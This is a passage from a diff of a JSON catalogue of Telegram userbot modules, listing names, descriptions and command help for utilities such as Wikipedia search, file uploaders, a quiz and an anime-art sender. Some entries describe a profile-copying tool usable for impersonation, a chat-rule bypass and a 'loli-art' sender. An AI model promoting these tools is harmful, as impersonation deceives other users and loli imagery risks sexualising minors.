"rnmeme": { + "ru_doc": "NSFW мемы", + "en_doc": "NSFW memes", + "doc": null + } + }, + { + "rmeme": { + "ru_doc": "Безопасные мемы", + "en_doc": "Safe memes", + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "TheKsenon/MyHikkaModules/wikisearch.py": { + "name": "WikiSearchMod", + "description": "Поиск информации в Википедии", + "meta": { + "pic": null, + "banner": null, + "developer": "@kmodules" + }, + "commands": [ + { + "wksearch": "Поиск в Википедии - .wksearch <запрос>" + } + ], + "new_commands": [ + { + "wksearch": { + "ru_doc": null, + "en_doc": null, + "doc": "Поиск в Википедии - .wksearch <запрос>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/telegraph.py": { + "name": "TelegraphMod", + "description": "Create article using telegra.ph", + "meta": { + "pic": null, + "banner": null, + "developer": "@kmodules" + }, + "commands": [ + { + "telegraphcmd": "Create article. Use: .telegraph <title> | <description>" + } + ], + "new_commands": [ + { + "telegraph": { + "ru_doc": null, + "en_doc": null, + "doc": "Create article. Use: .telegraph <title> | <description>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/kshortlinker.py": { + "name": "ShortLinkerMod", + "description": "Модуль для сокращения ссылок.", + "meta": { + "pic": null, + "banner": null, + "developer": "@kmodules" + }, + "commands": [ + { + "shortlinkcmd": "Использование: .shortlink <url>" + } + ], + "new_commands": [ + { + "shortlink": { + "ru_doc": null, + "en_doc": null, + "doc": "Использование: .shortlink <url>" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "TheKsenon/MyHikkaModules/audio2text.py": { + "name": "Audio2TextMod", + "description": "Module for speech-to-text conversion", + "meta": { + "pic": null, + "banner": "https://i.ibb.co/7k4sJRR/5ad271ae-ec1b-4803-a714-5d6628ee8f50.jpg", + "developer": "@kmodules" + }, + "commands": [ + { + "audio2text": "Преобразовать аудио в текст (ответом на аудиосообщение) Convert audio to text (reply to voice message)" + } + ], + "new_commands": [ + { + "audio2text": { + "ru_doc": "Преобразовать аудио в текст (ответом на аудиосообщение)", + "en_doc": "Convert audio to text (reply to voice message)", + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/quizai.py": { + "name": "QuizGameMod", + "description": "Игра-викторина с разными темами и сложностями", + "meta": { + "pic": null, + "banner": "https://i.ibb.co/NsMcJVJ/6116dddf-38f7-4bad-9b69-10c1e3c19fa5.jpg", + "developer": "@kmodules" + }, + "commands": [ + { + "quiz": "Начать викторину\nАргументы: -t \"тема\" -d <easy/normal/hard/impossible> -m <stable/fast>\nПример: .quiz -t \"Minecraft\" -d easy -m stable" + } + ], + "new_commands": [ + { + "quiz": { + "ru_doc": null, + "en_doc": null, + "doc": "Начать викторину\nАргументы: -t \"тема\" -d <easy/normal/hard/impossible> -m <stable/fast>\nПример: .quiz -t \"Minecraft\" -d easy -m stable" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/russianroulette.py": { + "name": "RussianRouletteModule", + "description": "Русская рулетка. Немного ИСПОЛЬЗУЙТЕ НА СВОЙ СТРАХ И РИСК.", + "meta": { + "pic": null, + "banner": null, + "developer": "@kmodules" + }, + "commands": [ + { + "roulettecmd": "Начать игру в русскую рулетку" + } + ], + "new_commands": [ + { + "roulette": { + "ru_doc": null, + "en_doc": null, + "doc": "Начать игру в русскую рулетку" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/ksenongpt.py": { + "name": "KsenonGPTMod", + "description": "KsenonGPT module for text and image generation using KsenonAPI", + "meta": { + "pic": null, + "banner": null, + "developer": "@kmodules" + }, + "commands": [ + { + "setmodelcmd": "Set default AI model for text generation" + }, + { + "gentextcmd": "Generate text - .gentext <prompt>" + }, + { + "genimgcmd": "Generate image - .genimg <prompt> <model>" + }, + { + "txtmodelscmd": "List of text models" + }, + { + "imgmodelscmd": "List of image models" + }, + { + "kupdatecmd": "Check for updates" + } + ], + "new_commands": [ + { + "setmodel": { + "ru_doc": null, + "en_doc": null, + "doc": "Set default AI model for text generation" + } + }, + { + "gentext": { + "ru_doc": null, + "en_doc": null, + "doc": "Generate text - .gentext <prompt>" + } + }, + { + "genimg": { + "ru_doc": null, + "en_doc": null, + "doc": "Generate image - .genimg <prompt> <model>" + } + }, + { + "txtmodels": { + "ru_doc": null, + "en_doc": null, + "doc": "List of text models" + } + }, + { + "imgmodels": { + "ru_doc": null, + "en_doc": null, + "doc": "List of image models" + } + }, + { + "kupdate": { + "ru_doc": null, + "en_doc": null, + "doc": "Check for updates" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/genderguesser.py": { + "name": "GenderGuesserMod", + "description": "Узнать примерный гендеор пользователя", + "meta": { + "pic": null, + "banner": null, + "developer": "@kmodules" + }, + "commands": [ + { + "gender": "Примерный гендер по username/reply\nПример: .gender @username or reply" + }, + { + "gendername": "Примерный гендер по имени.\nПример: .gendername Максим" + } + ], + "new_commands": [ + { + "gender": { + "ru_doc": null, + "en_doc": null, + "doc": "Примерный гендер по username/reply\nПример: .gender @username or reply" + } + }, + { + "gendername": { + "ru_doc": null, + "en_doc": null, + "doc": "Примерный гендер по имени.\nПример: .gendername Максим" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/obxod.py": { + "name": "OfftopTextMod", + "description": "Обход в оффтопе хикки", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "oftcmd": "Отправить сообщение" + } + ], + "new_commands": [ + { + "oft": { + "ru_doc": null, + "en_doc": null, + "doc": "Отправить сообщение" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/text2speech.py": { + "name": "Text2SpeechMod", + "description": "Module for converting text to speech", + "meta": { + "pic": null, + "banner": "https://i.ibb.co/Q6syvcG/5da73c45-b14f-4fe5-a8b6-85fc32a4b6c0.jpg", + "developer": "@kmodules" + }, + "commands": [ + { + "text2speech": "Преобразовать текст в речь (использование: .text2speech <текст> <alex/sophia>) Convert text to speech (usage: .text2speech <text> <alex/sophia>)" + }, + { + "t2s": "Алиас команды .text2speech (использование: .t2s <текст> <alex/sophia>) Alias for .text2speech command (usage: .t2s <text> <alex/sophia>)" + } + ], + "new_commands": [ + { + "text2speech": { + "ru_doc": "Преобразовать текст в речь (использование: .text2speech <текст> <alex/sophia>)", + "en_doc": "Convert text to speech (usage: .text2speech <text> <alex/sophia>)", + "doc": null + } + }, + { + "t2s": { + "ru_doc": "Алиас команды .text2speech (использование: .t2s <текст> <alex/sophia>)", + "en_doc": "Alias for .text2speech command (usage: .t2s <text> <alex/sophia>)", + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/howmuch.py": { + "name": "HowMuchMod", + "description": "Модуль для проверки насколько вы ...", + "meta": { + "pic": null, + "banner": null, + "developer": "@kmodules" + }, + "commands": [ + { + "howmuch": "Проверить насколько вы подходите под шаблон" + }, + { + "templates": "Показать список доступных шаблонов" + }, + { + "addtemplate": "Добавить новый шаблон" + }, + { + "deltemplate": "Удалить пользовательский шаблон" + }, + { + "backupts": "Сделать бэкап пользовательских шаблонов" + }, + { + "restorets": "Восстановить шаблоны из бэкапа" + } + ], + "new_commands": [ + { + "howmuch": { + "ru_doc": null, + "en_doc": null, + "doc": "Проверить насколько вы подходите под шаблон" + } + }, + { + "templates": { + "ru_doc": null, + "en_doc": null, + "doc": "Показать список доступных шаблонов" + } + }, + { + "addtemplate": { + "ru_doc": null, + "en_doc": null, + "doc": "Добавить новый шаблон" + } + }, + { + "deltemplate": { + "ru_doc": null, + "en_doc": null, + "doc": "Удалить пользовательский шаблон" + } + }, + { + "backupts": { + "ru_doc": null, + "en_doc": null, + "doc": "Сделать бэкап пользовательских шаблонов" + } + }, + { + "restorets": { + "ru_doc": null, + "en_doc": null, + "doc": "Восстановить шаблоны из бэкапа" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "TheKsenon/MyHikkaModules/kaccountdata.py": { + "name": "AccountDataMod", + "description": "Получить информацию об аккаунте, дц, дату регистрации.", + "meta": { + "pic": null, + "banner": null, + "developer": "@kmodules" + }, + "commands": [ + { + "aboutacc": "<username/reply> - Получить информацию об аккаунте <юзернейм/реплай> - Получить информацию об аккаунте <username/reply> - Get account information" + } + ], + "new_commands": [ + { + "aboutacc": { + "ru_doc": "<юзернейм/реплай> - Получить информацию об аккаунте", + "en_doc": "<username/reply> - Get account information", + "doc": "<username/reply> - Получить информацию об аккаунте" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/zapretheta_limoka.py": { + "name": "PizdaModule", + "description": "люблю программирование🔥🔥 и все что с ним связано😜😜 алгоритмы💕💕😎 рекурсии😍😍😲 переменные😈😈 циклы😆😆🤘 разветвления 💗💗 функции🙇🤤 обычно программирую везде😋дома😎в метро😏в душе☺️и даже ночью🙀🙀это мое хобби 😹😹читаю топ документацию 💗java🍀c++🐈 python💀php🙈c#👹haskell😽смотрю в свое крутое IDE🤠иногда балуюсь с компилятором😎  ищу API которые упростят мне жизнь  🥳если ты не тру программист и не шаришь то не пиши мне ✋✋👎", + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Chat", + "Tools" + ] + }, + "TheKsenon/MyHikkaModules/currency.py": { + "name": "CurrencyMod", + "description": "Get current currency exchange rates", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "rate": "<from> <to> - Get exchange rate" + } + ], + "new_commands": [ + { + "rate": { + "ru_doc": null, + "en_doc": null, + "doc": "<from> <to> - Get exchange rate" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/ytsearch.py": { + "name": "YouTubeSearchMod", + "description": "Module for searching videos on YouTube", + "meta": { + "pic": null, + "banner": "https://i.ibb.co/84JDV0z/29a858b1-0c80-4c88-8042-9d7622ebc7f9.jpg", + "developer": "@kmodules" + }, + "commands": [ + { + "ytsearch": "Поиск видео на YouTube. Использование: .ytsearch <запрос> Search for videos on YouTube. Usage: .ytsearch <query>" + } + ], + "new_commands": [ + { + "ytsearch": { + "ru_doc": "Поиск видео на YouTube. Использование: .ytsearch <запрос>", + "en_doc": "Search for videos on YouTube. Usage: .ytsearch <query>", + "doc": null + } + } + ], + "category": [ + "Tools", + "Media" + ] + }, + "TheKsenon/MyHikkaModules/github.py": { + "name": "GitHubInfoMod", + "description": "Module for viewing GitHub profile information", + "meta": { + "pic": null, + "banner": null, + "developer": "@kmodules" + }, + "commands": [ + { + "github": "<username> - получить информацию о профиле GitHub <username> - get GitHub profile information" + } + ], + "new_commands": [ + { + "github": { + "ru_doc": "<username> - получить информацию о профиле GitHub", + "en_doc": "<username> - get GitHub profile information", + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/kuploader.py": { + "name": "UploaderMod", + "description": "Module for uploading files to various file hosting services", + "meta": { + "pic": null, + "banner": null, + "developer": "@kmodules" + }, + "commands": [ + { + "catboxcmd": "Upload file to catbox.moe" + }, + { + "envscmd": "Upload file to envs.sh" + }, + { + "kappacmd": "Upload file to kappa.lol" + }, + { + "oxocmd": "Upload file to 0x0.st" + }, + { + "x0cmd": "Upload file to x0.at" + }, + { + "tmpfilescmd": "Upload file to tmpfiles.org" + }, + { + "pomfcmd": "Upload file to pomf.lain.la" + }, + { + "bashcmd": "Upload file to bashupload.com" + } + ], + "new_commands": [ + { + "catbox": { + "ru_doc": null, + "en_doc": null, + "doc": "Upload file to catbox.moe" + } + }, + { + "envs": { + "ru_doc": null, + "en_doc": null, + "doc": "Upload file to envs.sh" + } + }, + { + "kappa": { + "ru_doc": null, + "en_doc": null, + "doc": "Upload file to kappa.lol" + } + }, + { + "oxo": { + "ru_doc": null, + "en_doc": null, + "doc": "Upload file to 0x0.st" + } + }, + { + "x0": { + "ru_doc": null, + "en_doc": null, + "doc": "Upload file to x0.at" + } + }, + { + "tmpfiles": { + "ru_doc": null, + "en_doc": null, + "doc": "Upload file to tmpfiles.org" + } + }, + { + "pomf": { + "ru_doc": null, + "en_doc": null, + "doc": "Upload file to pomf.lain.la" + } + }, + { + "bash": { + "ru_doc": null, + "en_doc": null, + "doc": "Upload file to bashupload.com" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "TheKsenon/MyHikkaModules/copyuser.py": { + "name": "ProfileToolsModule", + "description": "Copy profile data from any user", + "meta": { + "pic": null, + "banner": "https://i.ibb.co/515XxY1/e3583b3c-434a-49fc-b532-cc70a3b5eccc.jpg", + "developer": "@kmodules" + }, + "commands": [ + { + "copyuser": "Скопировать профиль пользователя (работает по reply/@username/ID) Copy user profile (works with reply/@username/ID)" + }, + { + "backupme": "Создать резервную копию вашего профиля Create backup of your profile" + }, + { + "restoreme": "Восстановить профиль из резервной копии Restore profile from backup" + } + ], + "new_commands": [ + { + "copyuser": { + "ru_doc": "Скопировать профиль пользователя (работает по reply/@username/ID)", + "en_doc": "Copy user profile (works with reply/@username/ID)", + "doc": null + } + }, + { + "backupme": { + "ru_doc": "Создать резервную копию вашего профиля", + "en_doc": "Create backup of your profile", + "doc": null + } + }, + { + "restoreme": { + "ru_doc": "Восстановить профиль из резервной копии", + "en_doc": "Restore profile from backup", + "doc": null + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "idiotcoders/idiotmodules/promote.py": { + "name": "PromoteMod", + "description": "Managing administrators rights in chats.", + "meta": { + "pic": null, + "banner": null, + "developer": "@idiotcoders" + }, + "commands": [ + { + "demotecmd": "<user> — Demote an administrator to a user. <пользователь> — Снятие прав администратора с пользователя." + }, + { + "fullrightscmd": "<user> [role (aka [prefix])] — Promote an user to administrator with full rights. <пользователь> [роль (aka префикс)] — Повышение пользователя до администратора с полными правами." + }, + { + "promotecmd": "<user> [role (aka [prefix])] — Promote an user to administrator. <пользователь> [роль (aka префикс)] — Повышение пользователя до администратора." + } + ], + "new_commands": [ + { + "demote": { + "ru_doc": "<пользователь> — Снятие прав администратора с пользователя.", + "en_doc": null, + "doc": "<user> — Demote an administrator to a user." + } + }, + { + "fullrights": { + "ru_doc": "<пользователь> [роль (aka префикс)] — Повышение пользователя до администратора с полными правами.", + "en_doc": null, + "doc": "<user> [role (aka [prefix])] — Promote an user to administrator with full rights." + } + }, + { + "promote": { + "ru_doc": "<пользователь> [роль (aka префикс)] — Повышение пользователя до администратора.", + "en_doc": null, + "doc": "<user> [role (aka [prefix])] — Promote an user to administrator." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "idiotcoders/idiotmodules/lastfm.py": { + "name": "LastFMMod", + "description": "LastFM Now (based on SpotifyNow)", + "meta": { + "pic": "https://static.whypodg.me/mods!lastfm.png", + "banner": "https://mods.whypodg.me/badges/lastfm.jpg", + "developer": "@idiotcoders" + }, + "commands": [ + { + "lsearchcmd": "<name of track> 👉 Search for tracks. Works without authorization <название> 👉 Поиск по трекам. Работает без авторизации" + }, + { + "ltopcmd": "[count of tracks in top] 👉 Get the top most listened tracks. You can enter the count of tracks (optional) [кол-во треков в топе] 👉 Получить топ самых прослушиваемых треков. Вы можете указать кол-во треков в топе (необязательно)" + }, + { + "lbiocmd": "👉 Toggle bio playback streaming 👉 Включить/выключить авто-био" + }, + { + "lnowcmd": "👉 Shows track, that playing right now 👉 Покажет проигрываемый сейчас трек" + } + ], + "new_commands": [ + { + "lsearch": { + "ru_doc": "<название> 👉 Поиск по трекам. Работает без авторизации", + "en_doc": null, + "doc": "<name of track> 👉 Search for tracks. Works without authorization" + } + }, + { + "ltop": { + "ru_doc": "[кол-во треков в топе] 👉 Получить топ самых прослушиваемых треков. Вы можете указать кол-во треков в топе (необязательно)", + "en_doc": null, + "doc": "[count of tracks in top] 👉 Get the top most listened tracks. You can enter the count of tracks (optional)" + } + }, + { + "lbio": { + "ru_doc": "👉 Включить/выключить авто-био", + "en_doc": null, + "doc": "👉 Toggle bio playback streaming" + } + }, + { + "lnow": { + "ru_doc": "👉 Покажет проигрываемый сейчас трек", + "en_doc": null, + "doc": "👉 Shows track, that playing right now" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "idiotcoders/idiotmodules/timer.py": { + "name": "TimerMod", + "description": "Module that shows the time before an event", + "meta": { + "pic": "https://static.whypodg.me/mods!timer.png", + "banner": "https://mods.whypodg.me/badges/timer.jpg", + "developer": "@idiotcoders" + }, + "commands": [ + { + "timecmd": "— show how much time is left before the event — показать, сколько осталось до <чего-либо>" + } + ], + "new_commands": [ + { + "time": { + "ru_doc": "— показать, сколько осталось до <чего-либо>", + "en_doc": null, + "doc": "— show how much time is left before the event" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "idiotcoders/idiotmodules/yoomoney.py": { + "name": "YooMoneyMod", + "description": "Yoomoney Module.", + "meta": { + "pic": "https://static.whypodg.me/mods!yoomoney.png", + "banner": "https://mods.whypodg.me/badges/yoomoney.jpg", + "developer": "@idiotcoders" + }, + "commands": [ + { + "ypaycmd": "<sum> <title> ; <comment> 👉 Send payment link\nE.g: .ypay 100 For a coffee ; Bro, buy me a coffee, here is the link <сумма> <назначение> ; <комментарий> 👉 Отправить ссылку для перевода\nE.g: .ypay 100 На кофе ; Бро, купи мне кофе, вот ссылка для перевода" + }, + { + "ywalletcmd": "👉 Get YooMoney wallet info 👉 Узнать информацию вашего кошелька" + }, + { + "yauthcmd": "👉 First stage of auth 👉 Первый этап авторизации" + }, + { + "ycodecmd": "👉 Second stage of auth 👉 Второй этап авторизации" + } + ], + "new_commands": [ + { + "ypay": { + "ru_doc": "<сумма> <назначение> ; <комментарий> 👉 Отправить ссылку для перевода\nE.g: .ypay 100 На кофе ; Бро, купи мне кофе, вот ссылка для перевода", + "en_doc": null, + "doc": "<sum> <title> ; <comment> 👉 Send payment link\nE.g: .ypay 100 For a coffee ; Bro, buy me a coffee, here is the link" + } + }, + { + "ywallet": { + "ru_doc": "👉 Узнать информацию вашего кошелька", + "en_doc": null, + "doc": "👉 Get YooMoney wallet info" + } + }, + { + "yauth": { + "ru_doc": "👉 Первый этап авторизации", + "en_doc": null, + "doc": "👉 First stage of auth" + } + }, + { + "ycode": { + "ru_doc": "👉 Второй этап авторизации", + "en_doc": null, + "doc": "👉 Second stage of auth" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "idiotcoders/idiotmodules/animearts.py": { + "name": "animeartsMod", + "description": "Sends cute anime art", + "meta": { + "pic": "https://static.whypodg.me/mods!animearts.png", + "banner": "https://mods.whypodg.me/badges/animearts.jpg", + "developer": "@idiotcoders" + }, + "commands": [ + { + "artcmd": "Sends cute anime-art — Отправит милые аниме-арты" + }, + { + "nsfwartcmd": "Sends nsfw anime-art — Отправит nsfw аниме-арты" + } + ], + "new_commands": [ + { + "art": { + "ru_doc": "— Отправит милые аниме-арты", + "en_doc": null, + "doc": "Sends cute anime-art" + } + }, + { + "nsfwart": { + "ru_doc": "— Отправит nsfw аниме-арты", + "en_doc": null, + "doc": "Sends nsfw anime-art" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "idiotcoders/idiotmodules/bio.py": { + "name": "BioMod", + "description": "💘\n ", + "meta": { + "pic": "https://static.whypodg.me/mods!bio.png", + "banner": "https://mods.whypodg.me/badges/bio.jpg", + "developer": "@idiotcoders" + }, + "commands": [ + { + "айcmd": "[reply/arg]\nПолучает айди пользователя.\n " + }, + { + "зcmd": "[arg] [arg] [arg]....\nВ качестве аргументов используй числа или первые символы строки.\n(без них бьет по ответу с 10 патов)\n " + }, + { + "оcmd": "Заражает всех по реплаю.\nИспользуй ответ на сообщение с @id/@user/link\n " + }, + { + "искcmd": "Добавляет исключения для команд .з и .о\nИспользуй: .иск {@user/@id/reply}\n " + }, + { + "зарcmd": "Список ваших заражений.\n.зар {@id} {чис.ло} {арг}\nДля удаления: .зар {@id}\n\nАргументы:\nк -> добавить букву k(тысяч) к числу.\nф/о -> поиск по ид'у/юзеру.\nр -> добавлению в список по реплаю.\n\n-backup -> бэкап зарлиста в файл.\n-restore -> добавление жертв из бэкапа в зарлист.\n-restore --y -> полная замена зарлиста на бэкап.\n " + }, + { + "калкcmd": " Команда, которая вычисляет сколько 🧬Био-ресурсов или же ic☣️ нужно\nПример: .ic <характеристика> <уровень С> <уровень До>\n\n " + }, + { + "довcmd": "{args1} {args2 OR reply}\nВведи команду для просмотра аргументов.\n " + }, + { + "гcmd": "[arg] [arg] [arg]....\nВыполняет команду .ид по реплаю.\nАргументом являются числа и первые символы строки.\n " + }, + { + "иcmd": "Чекает все айди по реплаю.\nИспользуй ответ на сообщение с @id/@user/link\n " + }, + { + "бcmd": "Используй ответом на биотопы/жертвы и т.п\n " + }, + { + "biohelpcmd": "Выдает помощь по модулю\n " + } + ], + "new_commands": [ + { + "ай": { + "ru_doc": null, + "en_doc": null, + "doc": "[reply/arg]\nПолучает айди пользователя.\n " + } + }, + { + "з": { + "ru_doc": null, + "en_doc": null, + "doc": "[arg] [arg] [arg]....\nВ качестве аргументов используй числа или первые символы строки.\n(без них бьет по ответу с 10 патов)\n " + } + }, + { + "о": { + "ru_doc": null, + "en_doc": null, + "doc": "Заражает всех по реплаю.\nИспользуй ответ на сообщение с @id/@user/link\n " + } + }, + { + "иск": { + "ru_doc": null, + "en_doc": null, + "doc": "Добавляет исключения для команд .з и .о\nИспользуй: .иск {@user/@id/reply}\n " + } + }, + { + "зар": { + "ru_doc": null, + "en_doc": null, + "doc": "Список ваших заражений.\n.зар {@id} {чис.ло} {арг}\nДля удаления: .зар {@id}\n\nАргументы:\nк -> добавить букву k(тысяч) к числу.\nф/о -> поиск по ид'у/юзеру.\nр -> добавлению в список по реплаю.\n\n-backup -> бэкап зарлиста в файл.\n-restore -> добавление жертв из бэкапа в зарлист.\n-restore --y -> полная замена зарлиста на бэкап.\n " + } + }, + { + "калк": { + "ru_doc": null, + "en_doc": null, + "doc": " Команда, которая вычисляет сколько 🧬Био-ресурсов или же ic☣️ нужно\nПример: .ic <характеристика> <уровень С> <уровень До>\n\n " + } + }, + { + "дов": { + "ru_doc": null, + "en_doc": null, + "doc": "{args1} {args2 OR reply}\nВведи команду для просмотра аргументов.\n " + } + }, + { + "г": { + "ru_doc": null, + "en_doc": null, + "doc": "[arg] [arg] [arg]....\nВыполняет команду .ид по реплаю.\nАргументом являются числа и первые символы строки.\n " + } + }, + { + "и": { + "ru_doc": null, + "en_doc": null, + "doc": "Чекает все айди по реплаю.\nИспользуй ответ на сообщение с @id/@user/link\n " + } + }, + { + "б": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй ответом на биотопы/жертвы и т.п\n " + } + }, + { + "biohelp": { + "ru_doc": null, + "en_doc": null, + "doc": "Выдает помощь по модулю\n " + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "idiotcoders/idiotmodules/animetools.py": { + "name": "animetoolsMod", + "description": "AnimeTools", + "meta": { + "pic": "https://static.whypodg.me/mods!animetools.png", + "banner": "https://mods.whypodg.me/badges/animetools.jpg", + "developer": "@idiotcoders" + }, + "commands": [ + { + "findanimecmd": "Search by picture for what anime" + }, + { + "animequotecmd": "Sends anime quotes" + }, + { + "animechar": "Sends anime quotes for specific character" + }, + { + "animeavailable": "Sends a list of available anime" + }, + { + "characteravailable": "Sends a list of available characters" + }, + { + "randomanime": "Sends a random anime" + } + ], + "new_commands": [ + { + "findanime": { + "ru_doc": null, + "en_doc": null, + "doc": "Search by picture for what anime" + } + }, + { + "animequote": { + "ru_doc": null, + "en_doc": null, + "doc": "Sends anime quotes" + } + }, + { + "animechar": { + "ru_doc": null, + "en_doc": null, + "doc": "Sends anime quotes for specific character" + } + }, + { + "animeavailable": { + "ru_doc": null, + "en_doc": null, + "doc": "Sends a list of available anime" + } + }, + { + "characteravailable": { + "ru_doc": null, + "en_doc": null, + "doc": "Sends a list of available characters" + } + }, + { + "randomanime": { + "ru_doc": null, + "en_doc": null, + "doc": "Sends a random anime" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "idiotcoders/idiotmodules/toadbot.py": { + "name": "ToadBotMod", + "description": "Модуль для ухода за вашей жабой, когда вам лень или же когда у вас нет на это времени\n ", + "meta": { + "pic": "https://static.whypodg.me/mods!toadbot.png", + "banner": "https://mods.whypodg.me/badges/toadbot.jpg", + "developer": "@idiotcoders" + }, + "commands": [ + { + "frogcmd": "Уход за жабой | чтобы остановить пиши 'Уход за жабой стоп'" + }, + { + "eatcmd": "Кормёжка жабы | чтобы остановить используйте 'корм стоп'" + } + ], + "new_commands": [ + { + "frog": { + "ru_doc": null, + "en_doc": null, + "doc": "Уход за жабой | чтобы остановить пиши 'Уход за жабой стоп'" + } + }, + { + "eat": { + "ru_doc": null, + "en_doc": null, + "doc": "Кормёжка жабы | чтобы остановить используйте 'корм стоп'" + } + } + ], + "category": [ + "Tools", + "Info" + ] + }, + "idiotcoders/idiotmodules/stablediffusion.py": { + "name": "StableDiffusionMod", + "description": "Some mod for work with StableDiffusion. API KEY required!", + "meta": { + "pic": "https://static.whypodg.me/mods!stablediffusion.png", + "banner": "https://mods.whypodg.me/badges/stablediffusion.jpg", + "developer": "@idiotcoders" + }, + "commands": [ + { + "sdhelpcmd": "— help on using and configure the module — помощь по использованию и настройке модуля" + }, + { + "sdcmd": "<prompt> — generate an image using StableDiffusion API <prompt> — генерация изобраения с использованием StableDiffusion API." + } + ], + "new_commands": [ + { + "sdhelp": { + "ru_doc": "— помощь по использованию и настройке модуля", + "en_doc": null, + "doc": "— help on using and configure the module" + } + }, + { + "sd": { + "ru_doc": "<prompt> — генерация изобраения с использованием StableDiffusion API.", + "en_doc": null, + "doc": "<prompt> — generate an image using StableDiffusion API" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "idiotcoders/idiotmodules/irisfarm.py": { + "name": "IrisfarmMod", + "description": "Автоматизирует работу с Iris Chat Manager (автоматическая ферма)", + "meta": { + "pic": "https://static.whypodg.me/mods!irisfarm.png", + "banner": "https://mods.whypodg.me/badges/irisfarm.jpg", + "developer": "@idiotcoders" + }, + "commands": [ + { + "farmcmd": "Начинает автоматический фарм. " + }, + { + "unfarmcmd": "Выключает автоферму." + } + ], + "new_commands": [ + { + "farm": { + "ru_doc": null, + "en_doc": null, + "doc": "Начинает автоматический фарм. " + } + }, + { + "unfarm": { + "ru_doc": null, + "en_doc": null, + "doc": "Выключает автоферму." + } + } + ], + "category": [ + "Chat", + "Fun" + ] + }, + "idiotcoders/idiotmodules/loliart.py": { + "name": "loliartMod", + "description": "Sends cute anime loli-art ☺", + "meta": { + "pic": "https://static.whypodg.me/mods!loliart.png", + "banner": "https://mods.whypodg.me/badges/loliart.jpg", + "developer": "@idiotcoders" + }, + "commands": [ + { + "lolicmd": "— Send cute loli-art — Отправит милый лоли-арт" + } + ], + "new_commands": [ + { + "loli": { + "ru_doc": "— Отправит милый лоли-арт", + "en_doc": null, + "doc": "— Send cute loli-art" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SekaiYoneya/Friendly-telegram/BanMedia.py": { + "name": "BanMediaMod", + "description": "Модуль блокировки стикеров или гифок в чатах.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "banmediacmd": "Используй: .banmedia чтобы заблокировать стикер или гифку в чате. | аргументы «clear или clearall» (по желанию)" + } + ], + "new_commands": [ + { + "banmedia": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .banmedia чтобы заблокировать стикер или гифку в чате. | аргументы «clear или clearall» (по желанию)" + } + } + ], + "category": [ + "Tools", + "Social" + ] + }, + "SekaiYoneya/Friendly-telegram/Pic.py": { + "name": "PicPhotosMod", + "description": "Фотографии из @pic.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "gowcmd": "" + } + ], + "new_commands": [ + { + "gow": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "SekaiYoneya/Friendly-telegram/AutoBlackList.py": { + "name": "AutoBlackListMod", + "description": "Кидает всех неконтактов в ЧС.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "autoblcmd": "Включить/выключить режим" + }, + { + "autoblstatuscmd": "Проверить статус AutoBlackList" + }, + { + "autodelchatcmd": "Автоматически удаляет диалог после того, как кинет в ЧС" + } + ], + "new_commands": [ + { + "autobl": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить режим" + } + }, + { + "autoblstatus": { + "ru_doc": null, + "en_doc": null, + "doc": "Проверить статус AutoBlackList" + } + }, + { + "autodelchat": { + "ru_doc": null, + "en_doc": null, + "doc": "Автоматически удаляет диалог после того, как кинет в ЧС" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SekaiYoneya/Friendly-telegram/GroupCreator.py": { + "name": "GroupCreatorMod", + "description": "Создать чат или канал.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "createcmd": "Используй .create <g|s|c> <название>, чтобы создать группу, супергруппу или канал." + } + ], + "new_commands": [ + { + "create": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .create <g|s|c> <название>, чтобы создать группу, супергруппу или канал." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SekaiYoneya/Friendly-telegram/Whois.py": { + "name": "WhoIsMod", + "description": "Получает информацию о пользователе.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "whoiscmd": "Используй .whois <@ или реплай>; ничего" + } + ], + "new_commands": [ + { + "whois": { + "ru_doc": null, + "en_doc": null, + 